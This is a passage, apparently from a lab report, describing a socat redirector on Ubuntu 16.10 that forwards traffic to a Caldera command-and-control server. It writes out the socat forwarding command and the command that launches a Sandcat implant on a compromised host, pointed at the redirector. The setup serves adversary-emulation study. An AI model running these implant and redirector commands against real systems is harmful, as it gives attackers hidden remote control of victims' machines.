

Redirector

Due to its minimal memory requirements, Ubuntu 16.10 was selected as the operating system for the redirector. The network adapter of the guest was placed in bridged mode, and the machine was assigned a static IP address of 192.168.1.45 with the default gateway of 192.168.1.128.

To integrate the redirector into the system, the package repository list was changed to the Ubuntu Old Releases archive instead of the default mirrors. Then, the old packages were downloaded via APT using the instruction `sudo apt-get update`. Subsequently, the socat utility was installed with the command `sudo apt update && sudo apt install socat -y`. To start the socat listener that redirects traffic to the Caldera server, the command `sudo socat -d -d TCP-LISTEN:443,fork,reuseaddr TCP:192.168.1.25:8888` was issued. Correspondingly, the agent on the initially compromised target host was activated with the command `.\sandcat.exe -v -server http://192.168.1.45:443`.
